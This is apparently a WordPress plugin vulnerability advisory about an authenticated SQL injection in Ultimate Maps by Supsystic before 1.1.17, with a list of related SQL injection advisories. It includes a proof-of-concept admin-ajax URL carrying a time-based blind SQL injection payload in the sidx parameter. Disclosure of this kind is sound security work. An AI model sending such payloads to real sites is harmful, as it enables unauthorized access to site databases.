Ultimate Maps by Supsystic < 1.1.17 – Authenticated SQL Injections | Plugin Vulnerabilities

Description

The GET parameters sidx and sord were used in a SQL statement without being sanitised when searching for maps in the dashboard, leading to an authenticated SQL Injection issues.

Proof of Concept

https://example.com/wp-admin/admin-ajax.php?mod=maps&action=getListForTbl&pl=ums&reqType=ajax&search%5Btext_like%5D=a&_search=false&nd=1612781069571&rows=10&page=0&sord=desc&sidx=id%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b)

Affects Plugins

ultimate-maps-by-supsystic

Fixed in 1.1.17

References

Exploitdb

URL

https://plugins.trac.wordpress.org/changeset/2435421/

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Erik David Martin

Verified

Yes

WPVDB ID

0b83038e-92d2-4bdd-a597-a5d8eff50edb

Timeline

Publicly Published

2021-02-08 (about 5 years ago)

Added

2021-02-08 (about 5 years ago)

Last Updated

2021-02-10 (about 5 years ago)

Other

Published

Title

Published

2022-01-20

Title

WordPress Download Manager < 3.2.34 - Authenticated SQL Injection to Reflected XSS

Published

2025-06-30

Title

LMS < 9.3 - Unauthenticated SQL Injection

Published

2017-02-27

Title

NextGEN Gallery < 2.1.79 - Unauthenticated SQL Injection

Published

2025-04-09

Title

Error Log Viewer <= 1.0.5 - Authenticated (Subscriber+) SQL Injection

Published

2016-12-05

Title

Single Personal Message 1.0.3 – Authenticated SQL Injection